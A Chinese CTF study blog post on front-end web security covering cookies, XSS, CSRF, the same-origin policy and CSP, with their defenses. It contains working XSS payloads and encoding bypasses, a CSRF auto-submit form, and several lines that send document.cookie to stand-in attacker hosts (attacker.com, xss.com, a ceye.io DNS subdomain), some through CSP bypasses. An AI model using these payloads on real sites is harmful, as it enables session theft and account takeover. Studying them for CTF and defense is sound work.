CTF练习

CTF | Web安全 Part2:前端

2018-08-19  本文已影响384人  Ackerzy

01 XSS攻击与防御

一、Cookie

定义

Cookie是指某些网站为了辨别用户身份而存储在客户端上的数据(通常经过加密)。也就是说,只要有了某个用户的cookie,就能以他的身份登录。

获取Cookie

浏览器端(客户端):document.cookie
服务器端(PHP):$_COOKIE

存储位置

Chrome
Windows下:C:\Users\jay\AppData\Local\Google\Chrome\UserData\Default\Cookies

属性

SESSION=xxxxxxxxx;expires=Thu,27 Feb 2017 05:21:00 GMT;domain=www.xxx.com;path=/;HttpOnly;secure;SameSite=Strict

Name:Cookie的名字
Value:Cookie的值
Domain:该Cookie属于哪个域,只有这个域和其子域能获取该Cookie
Path:Cookie所属路径,只有这个路径和其下级目录能获取该Cookie
Expires/Max-Age:Cookie的实效时间
Size:Cookie的值得长度
HttpOnly:如果设置了该值,则Cookie不能被JS读取
Secure:该Cookie仅能由HTTPS协议传输
SameSite:用于定义cookie如何跨域发送,可以防止CSRF攻击

domain和path

类别

二、XSS漏洞介绍

XSS指的是恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入Web里面的JS代码会被执行,从而达到恶意的特殊目的。

POC

<script>alert(1);</script>

EXPLOIT

<script>location="http://attacker.com/?c="+escape(document.cookie);</script>

三、XSS漏洞类型

四、 XSS危害

五、XSS与字符编码

HTML实体编码

例如左尖括号(<)编码:html十进制:<
html十六进制:<
字符实体:&lt;(不是所有字符都有)

JavaScript编码

例如左尖括号(<)编码:js八进制:\74;
js十六进制:\x3c;
jsunicode:\u003c

URL编码

例如左尖括号(<)编码:%3C

六、字符编码与绕过

HTML实体编码

DOM元素的属性值会自动HTML解码

<iframe srcdoc="&#60;script&#62;alert(1)&#60;/script&#62;">
</iframe>

解码后

<iframe srcdoc="<script>alert(1)<script>">
</iframe>

JS编码

eval中的参数可以JS编码

<script>eval("alert\501\51");</script>

解码后

<script>eval("alert(1)");</script>

URL编码

后端对用户输入进行URL解码时可以利用

<?php
    echo urldecode($_GET['s']);
?>

前端传入URL编码后的字符串,可以绕过某些限制

%3Cscript%3Ealert%281%29%3C/script%3E

页面编码

有的时候,对于我们所提交的内容,目标站点不会将其转换为HTML实体&quot;,而是会将其转义为",这样的转义同样会导致我们闭合失败,然而,在网页为GBK等编码下,事情却有了转机。

\符号的十六进制为0x5C,刚好处在GBK的低字节中,如果前面有一个高字节(如%c0),那么恰好会被组合成一个合法的字符,从而\被吃掉,双引号逃逸出来。

七、XSS漏洞挖掘

寻找常见的输入点

测试字符过滤情况

一般测试<>""\/&#''

定位输出点

标签属性值中、js代码中、标签内

可以利用的标签

<script>alert(1)</script>
<a href"javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<script>alert(1)</script>"</iframe>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
<svg/onload=alert(1)>

自动html编码的标签

<textarea></textarea>
<title></title>
<iframe></iframe>
<nosctipt></nosctipt>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>

一些trick

XSS平台

http://xsspt.com/
http://ceye.io/

02 CSRF攻击与防御

一、CSRF介绍

GET型攻击

攻击者——>构造CSRF请求链接——>受害者——>点击链接,个人信息被修改

POST型攻击

攻击者伪造自动发送请求的页面——>发送页面链接——>受害者——>点击链接,个人信息被修改

攻击方式(伪造请求)

<form action="http://victim.com/modify.php" method="POST">
    <input type="text" name="username" value="hacker">
    <input type="text" name="phone" value="12345678">
    <input type="text" name="password" value="123456">
</form>
<script>
    document.forms[0].submit();
</script>

攻击方式(JSON)

form表单无法发送json格式的请求,然而可以利用307跳转
307跳转可以不改变请求主体,只改变请求目标

  1. 首先在自己服务器上放一个页面main.html,这个页面包含一个flash文件,这个flash文件可以发送json请求
  2. 再在服务器上放一个307.php,这个文件可以跳转到CSRF目标站点
  3. 访问main.html,即可CSRF

二、CSRF防御

验证码

后端对提交的验证码做校验,验证码不正确则请求失败

添加token

在请求参数中添加一个token参数,这个token的值要保证无法被攻击者预测(例如每次请求随机一遍,或者每个用户都有唯一的token)

验证Referer

Referer表示一个请求的来源页面。如果是一个CSRF的请求,那么CSRF要么为空(GET),要么为攻击者的网站(POST)

03 同源策略

一、源

源(origin)就是协议、域名和端口号。

http://www.example.com:80

二、同源策略

Cookie

Cookie的两个属性domainpath与同源策略有关
例如对于下面的一条Cookie:
Cookiename=cookievalue;domain=a.com;path=/admin;

那么只有a.com或者其子域(例如sub.a.com),并且/admin及其子目录下的页面可以可以读取到该Cookie的值

iframe

和父窗口的源不同的iframe的DOM树不能被JavaScript读取,也不能被修改

子域

例如sub.a.com就是a.com的子域

子域可以将自己的domain设置成主域
document.doamin='a.com';
然后sub.a.com和a.com就可以访问彼此页面的cookie了。同理,在iframe中这样设置也能互相读取彼此的DOM树了。

此外,例如有个sub2.a.com,如果它也将document.doamin设置为a.com那么它和sub.a.com也就同源了。
但是需要注意的是,document.domain='com'这样直接设置到顶级域是不允许的

Ajax

Ajax请求可以跨域发送,但是域不同的时候不携带Cookie,并且无法获取响应内容

三、跨域方式

CORS(跨域资源共享)

为了实现不同网站之间的通信,浏览器实现了一种共享资源的方式。
例如a.com要获取b.com的内容,那么就要在a.com的页面中设置CORS头部

header('Access-Control-Allow-Origin:http://b.com');
header('Access-Control-Allow_Origin:*');

window.name

iframe和window.name结合可以实现跨域传输,即使父窗口和子窗口的源不同,也可以获取window.name的值

<script>
    function getData(){
    var iframe = document.getElementById('ifr');
    iframe.onload = function(){
        var data = iframe.contentWindow.name;
    }
    iframe.src = 'b.html';
}
</script>

Jsonp

<script>
    function _callback(s){
    alert(JSON.stringify(s));
}
</script>
<script src="http://example.com/json.php?cb=_callback"></script>

http://example.com/json.php?cb=_callback的响应结果类似:

__Jquery({"id":1,"content":"hello"})

原理是script标签可以跨域请求(类似的还有img等),这里jsonp请求获取到的是一串js代码,一般是一个函数调用,参数就是想要跨域获取的数据,而函数的实现在发起请求的页面中。
获取完毕后,调用该函数,即可获取数据并进行后续处理。

04 CSP

一、什么是CSP

CSP(内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本和数据注入攻击等。

CSP部署位置

  1. HTTP响应头部名为Content-Security-Policy的字段
  2. 页面中的meta标签

例子

Content-Security-Policy:default-src'self';script-src'axample.com'

一个CSP策略有多组指令构成,中间以分号间隔
例如,上面的策略有两组指令,含义如下:
default-src'self' 元素的默认来源只能是当前页面
script-src'example.com' script标签只能来源于'example.com'

二、CSP策略指令

default-src指令定义了那些没有被更精确指令指定的安全策略。
default-src

三、CSP内容原

CSP中的内容原有三种:源列表、关键字和数据

源列表

源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的 URL 协议和/或端口号。站点地址可以包含可选的通配符前缀 (星号, '*'),端口号也可以使用通配符 (同样是 '*') 来表明所有合法端口都是有效来源。主机通过空格分隔。

有效的主机表达式包括:

如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。

关键字

有一些关键字可以用来描述某类特别的内容源。它们是:

数据

Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

四、CSP绕过

url跳转

在default-src 'none'的情况下,可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

标签预加载

CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)

<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

这样会拼成一个新的script标签,其中的src可以自由设定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

iframe

1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

<iframe src="B"></iframe>

2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
上一篇 下一篇

猜你喜欢

热点阅读